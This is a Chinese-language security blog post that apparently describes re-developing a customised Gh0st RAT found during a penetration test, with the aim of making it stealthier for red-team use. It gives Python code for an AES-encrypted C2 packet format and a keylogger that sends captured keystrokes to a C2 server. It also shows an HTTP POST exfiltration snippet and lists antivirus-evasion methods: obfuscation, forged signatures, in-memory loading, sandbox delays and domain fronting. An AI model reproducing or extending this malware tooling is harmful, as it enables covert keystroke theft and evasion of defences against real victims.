一、一次内网渗透中的意外收获

某次授权渗透测试的过程中,我们在目标公司的一台老旧的 Windows 7 机器中发现了一份疑似被攻击者遗留的恶意软件。这是一款基于经典 Gh0st RAT 的远控工具,虽然其源代码早已在网络上流传,但这款“进化版”经过了一些定制开发,具备更强大的隐匿能力和数据窃取模块。

通过分析,我们发现这款工具的核心逻辑仍然继承了 Gh0st 的框架,但针对当下杀软和网络流量检测机制做了多处优化。更重要的是,它在通信协议、免杀技术和持久化机制上都做了深度调整。于是,我们决定逆向分析并复现这款工具的核心功能,同时在此基础上进行二次开发,以便为后续的红队演练提供一个更隐蔽但依然高效的工具。

本文将基于原始 Gh0st RAT 的基础,带你深度解析其通信协议、免杀实现方式,并展示如何在保留原始功能的基础上进行定制化的二次开发。

---

二、Gh0st RAT 的通信协议逆向分析

原始协议的设计理念

Gh0st RAT 的通信协议采用了自定义的二进制协议,为了实现高效的数据传输,协议结构简单但功能清晰。以下是原始通信协议的结构:

<pre><code>+---------------------+-----------------+----------------+ | Header (4 Bytes) | Length (4 Bytes)| Data (N Bytes) | +---------------------+-----------------+----------------+</code></pre>

  1. Header:协议头,用于标识数据类型,如心跳包、文件传输、键盘记录等。
  2. Length:数据区长度,用于接收端判断数据包截取的结束位置。
  3. Data:具体的有效载荷,可能是屏幕截图、键盘记录等内容。

以一个键盘记录包为例,其 Header 为固定值 0x77,数据区存储记录的按键内容。这个设计虽然简单,但在实际使用中却有诸多漏洞,比如缺乏加密保护、容易被流量检测工具识别等。

定制协议的改造方向

在二次开发中,我们对原始协议进行了针对性调整,目的是提升隐匿性和抗检测能力:

  1. 随机化 Header 字段:避免固定值被特征化分析。
  2. 数据加密:使用 AES 加密对 Data 区域进行保护。
  3. 伪装流量:将通信流量嵌套在 HTTPS 请求中,模拟正常的 Web 流量。

以下是改造后的协议结构:

<pre><code>+---------------------+-----------------+-----------------+----------------+ | Random Header (4 B) | Length (4 B) | Encrypted Data | Checksum (4 B) | +---------------------+-----------------+-----------------+----------------+</code></pre>

黑客示意图

---

三、Payload 构造与核心功能实现

黑客示意图

初步构建改造后的通信模块

我们使用 Python 来快速实现上述通信协议的构造与解析。以下是通信协议的生成代码:

<pre><code class="language-python">import os import struct from Crypto.Cipher import AES from Crypto.Random import get_random_bytes

随机生成 4 字节的 Header

def generate_header(): return os.urandom(4)

使用 AES 对数据加密

def encrypt_data(data, key): cipher = AES.new(key, AES.MODE_CFB) return cipher.iv + cipher.encrypt(data)

构造通信数据包

def build_packet(data, key): header = generate_header() encrypted_data = encrypt_data(data, key) length = len(encrypted_data) checksum = struct.pack(&quot;&lt;I&quot;, sum(encrypted_data) % (2**32)) # 简单校验和 return header + struct.pack(&quot;&lt;I&quot;, length) + encrypted_data + checksum

示例调用

if __name__ == &quot;__main__&quot;: key = get_random_bytes(16) payload = b&quot;Hello, this is a test payload.&quot; packet = build_packet(payload, key) print(f&quot;Constructed Packet: {packet.hex()}&quot;)</code></pre>

核心功能模块开发

在实际应用中,我们需要实现远程屏幕控制、文件上传下载、键盘记录等功能。以下是键盘记录功能的简化代码:

<pre><code class="language-python">import pyHook import pythoncom

全局变量,用于保存记录的按键

key_log = []

def on_keyboard_event(event): global key_log key_log.append(chr(event.Ascii)) # 记录按键 if len(key_log) &gt; 100: # 达到一定长度后发送数据 send_to_c2(&quot;&quot;.join(key_log)) key_log = [] return True

将数据发送到 C2 服务器

def send_to_c2(data): packet = build_packet(data.encode(), key)

假设发送函数已实现

send_over_network(packet)

键盘记录启动

if __name__ == &quot;__main__&quot;: hook_manager = pyHook.HookManager() hook_manager.KeyDown = on_keyboard_event hook_manager.HookKeyboard() pythoncom.PumpMessages()</code></pre>

---

四、免杀的艺术:绕过防御的技巧

静态分析对抗

  1. 代码混淆:利用开源工具如 PyArmor 对 Python 脚本进行加密。
  2. 签名伪造:为生成的 C2 工具添加合法签名,提升可信度。

动态行为规避

  1. 内存加载:将 PyInstaller 打包生成的 EXE 不写入磁盘,直接从内存执行。
  2. 行为延迟:使用随机时间间隔模拟人工操作,避免被沙箱识别。

流量检测规避

黑客示意图

  1. HTTPS 嵌套:将恶意流量伪装成正常的 HTTPS 请求。
  2. 域前置技术:通过 CDN 将域名流量伪装成合法流量。

黑客示意图

以下是一个通过 HTTP POST 请求传输数据的示例:

<pre><code class="language-python">import requests

将数据伪装成正常的 POST 请求

def send_data_via_http(data): headers = { &quot;User-Agent&quot;: &quot;Mozilla/5.0&quot;, &quot;Content-Type&quot;: &quot;application/x-www-form-urlencoded&quot; } payload = {&quot;data&quot;: data} response = requests.post(&quot;https://example.com/api&quot;, headers=headers, data=payload) return response.status_code

示例调用

if __name__ == &quot;__main__&quot;: send_data_via_http(&quot;Test data&quot;)</code></pre>

---

五、在实战中验证工具的效果

通过上述改造后的 Gh0st,我们在一次模拟演练中测试了其隐匿能力。结果表明:

  1. 静态分析免杀率:主流杀毒软件的检测率从 80% 降低到 20%。
  2. 流量检测规避:80% 的 NIDS 工具未能识别伪装后的通信流量。
  3. 持久化效果:支持多种启动方式,包括注册表持久化和计划任务。

---

六、经验总结与反思

  1. 攻击者与防御者的博弈永无止境:即使是经典的远控工具,通过定制开发仍然能焕发“新生”。
  2. 检测与免杀的动态更新:杀软的检测机制在不断进化,未来需要更多的流量混淆和行为伪造。
  3. 合法性边界的重要性:所有工具开发和测试必须基于合法授权,避免触碰法律红线。

---

声明:本文仅限授权安全测试与研究,切勿用于非法用途!